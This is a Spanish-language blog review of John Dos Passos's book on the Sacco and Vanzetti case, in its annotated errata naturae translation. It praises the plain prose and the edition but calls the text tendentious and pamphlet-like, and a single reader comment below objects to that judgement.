Ante la silla eléctrica

John Dos Passos publicó Ante la silla eléctrica en 1927, poco después de la aparición de Manhattan Transfer, esa novela que ha tendido a ser leída e interpretada tanto en clave cubista como de plano secuencia (es decir, sobre presupuestos principalmente estéticos) y de la que muchos lectores, a pesar de que encumbrara a Dos Passos al olimpo de los grandes autores norteamericanos, guardamos un recuerdo confuso, propio de las cosas que no se entienden del todo. Pero ya el título completo de Ante la silla eléctrica (Historia de la americanización de dos trabajadores extranjeros) da la primera pista de que en este caso no se trata de una obra en que la innovación formal vaya a jugar un papel importante, ni de que vayan por ahí los tiros. Se trata, por el contrario, de una crónica periodística que presenta una narración acelerada y todo menos cuidadosa de una causa que conmovió a la opinión pública en un momento ya de por sí convulso de la historia de Estados Unidos: el de Nicola Sacco y Bartolomeo Vanzetti, dos inmigrantes italianos anarquistas y relacionados con el grupo del impresor Luigi Galleani (fundador en los primeros años del siglo de la publicación anarquista Cronaca Sovversiva) que fueron acusados de los asesinatos perpetrados en una fábrica de la localidad de South Baintree (Massachusetts) y, tras años de apelaciones, condenados finalmente a la silla eléctrica poco después de la publicación de la obra.

La editorial errata naturae, que publica el texto por primera vez en castellano, ha optado acertadamente por una edición anotada con un prólogo correcto y notas de la traductora Alba Montes que ilustran lo suficiente sobre el contexto histórico para que al lector español de principios del siglo XXI no le resulten opacos todos los datos que para su homólogo norteamericano de hace casi un siglo eran un sobreentendido. La información que nos aporta tanto sobre la situación política del momento y el estado de los movimientos sociales en Estados Unidos como sobre la repercusión mediática del caso de Sacco y Vanzetti (incluyendo un sorprendente, o no tanto, cameo en Los Soprano) son suficientes para entrar en un libro fácil y difícil a la vez.

Fácil porque la prosa de Dos Passos, en contra de lo que uno esperaría, es directa, llana (tan norteamericana en el fondo que casi me sorprende que me sorprenda), sin floridas adjetivaciones ni agotadoras técnicas cinematográficas de por medio. Combina su propia narración con declaraciones juradas (“declaración jurada de Lawrence Letherman”, “declaración jurada de Fred J. Weyand”), documentación del proceso, reproducciones de cartas (de Feri Felix Weiss a John Ruzzamenti, del mismo al director del Boston Globe), folletos (Prácticas ilegales del Departamento de Justicia, elaborado por una docena de juristas renombrados), fragmentos de la autobiografía que Vanzetti escribió en la cárcel y alguna que otra frase no exenta de lirismo que nos habla de un “rostro ajado como una pila de periódicos húmedos”, de “dos hombres sentados el uno al lado del otro en un banco, dentro de una pajarera verde”, de la voz de un juez que “cruje con sequedad, como el papel antiguo” o de una sala de vistas que parece que encogiera y en la que “las figuras trágicas de hombres y mujeres crecen como sombras gigantescas proyectadas por una lámpara en la pared”. El libro incluye además tres anexos: dos llamamientos (de Anatole France y Eugene V. Debs, fundador del primer sindicato industrial estadounidense) y el documento en que la Federación Americana del Trabajo exigía una investigación sobre un proceso que consideró irregular en muchos puntos.

Pero también difícil de leer, de algún modo, porque a pesar de lo salvaje del caso (y de la inevitable empatía con las víctimas que ello provoca) y de que el autor sea un novelista consagrado, con la habilidad narrativa que eso conlleva, el libro de no deja de ser un panfleto. Glorificado probablemente, y de 150 páginas, pero panfleto de todas formas. El texto es tan tendencioso que en más de una ocasión roza lo sonrojante (si puede usarse el término, más allá de que el corrector de Word lo marque con su temida rayita roja y la RAE diga que no, que la palabra sonrojante no está en el diccionario), especialmente en el anexo de Debs, que emplea sin ningún pudor expresiones como “perjurio satánico”, “pestilencia y repugnancia, “esbirros oficiales” y nos habla sin empacho de “estos dos hermanos nuestros, honrados y de corazón puro”, “intrépidos líderes proletarios” de “lealtad inquebrantable” a los que se está “devorando la carne de sus cuerpos y atormentado sus almas”. Debs lo lleva al paroxismo, pero el propio Dos Passos no escatima lenguaje panfletario y arenga ideológica en algunos pasajes del texto (basta ver capítulos titulados “pájaros enajulados” o “el delirio rojo”, por no entrar en otras finuras). Son otros tiempos, supongo, en los que lo que era el discurso de un líder sindical puede usarse perfectamente como la publicidad de un banco y en que el discurso político ha adquirido tal vacuidad que determinados modos de expresión han acabado por resultar ridículos.

Lo que no impide que sea un libro valioso (y no sólo como testimonio histórico) que merece haber sido bien traducido y bien editado, que no deja de ser lo que esperamos de errata naturae. Después de leerlo uno siente que Ante la silla eléctrica y el caso de Sacco y Vanzetti son a la Nueva Inglaterra de las primeras décadas del siglo XX lo que el affaire Dreyfuss (con el que el caso se compara en el texto de Doss Passos en al menos dos ocasiones) y el subsiguiente Yo acuso de Zola a la Francia del XIX, pero sin final feliz. O lo que Proved Innocent, de Gerry Conlon, película de Jim Sheridan incluida, es al Reino Unido del Ejército Republicano Irlandés, IRA para los amigos. Son también a los movimientos obreros y, más en concreto, al anarquismo en Norteamérica lo que La verdad sobre el caso Savolta es a los ídem barceloneses de la misma época, pero de verdad, aunque por momentos casi parece que los atestados judiciales de esta última sean verídicos y ficticios los de la primera, dado el absurdo de algunos de ellos. Lo que me parece suficiente para que el libro merezca estar en mi biblioteca. Y es que estar en el mismo saco con Zola, Mendoza y Daniel Day-Lewis no es poca cosa.
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by Adelaida Caro Martín

nació en Essen, Alemania, en 1979 y se crió a la sombra del estadio del Schalke 04. Estudió Filología en Sevilla y se doctoró en la Universidad de Göttingen con un trabajo sobre la contracultura norteamericana y la narrativa actual en español. Actualmente trabaja en la Biblioteca Nacional de España y traduce del alemán para revistas de amigos.

One Reply to “Ante la silla eléctrica”

  1. 1
    Blum

    Le parecería a la encantadora crítica igualmente sonrojante por panfletaria y tendenciosa la descripción, pongamos por caso, de un lager, el gulag o la ejecución de Lorca? En esos casos, estamos seguros, epítetos como «dramtismo» y «conmovedor» ocuparían el lugar de «panfletario». Un caso más de corrección política y pensamiento único (es decir, anticomunista)

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